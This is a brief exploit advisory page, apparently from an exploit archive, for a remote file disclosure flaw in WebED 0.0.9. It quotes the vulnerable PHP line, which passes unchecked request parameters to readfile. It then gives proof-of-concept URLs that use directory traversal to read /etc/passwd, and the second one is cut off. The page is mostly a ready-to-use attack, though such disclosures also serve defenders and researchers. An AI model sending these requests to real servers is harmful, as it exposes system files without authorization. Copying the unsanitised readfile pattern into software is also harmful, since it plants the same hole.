WebED 0.0.9 (index.php) Remote File Disclosure Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : WebED 0.0.9 (index.php) Remote File Disclosure Vulnerability
# Published : 2007-11-29
# Author : GoLd_M
# Previous Title : Web-MeetMe 3.0.3 (play.php) Remote File Disclosure Vulnerability
# Next Title : Seditio CMS <= 121 Remote SQL Injection Exploit

WebED v0.0.9 (index.php) Remote File Disclosure Vulnerabilities
Script : http://heanet.dl.sourceforge.net/sourceforge/ed-engine/WebED_v0.0.9.tar.gz
Vuln Code In /mod/chat/index.php :
<body>
 <?php readfile($Root.$Path); ?> <---[xxx]
 <form action="application_loader.php" method="post">
PoC :
     /mod/chat/index.php?Root=../../../../../../etc/passwd
     /mod/chat/index.php?Path=../../../../../../etc/pa

# www.Syue.com [2007-11-29]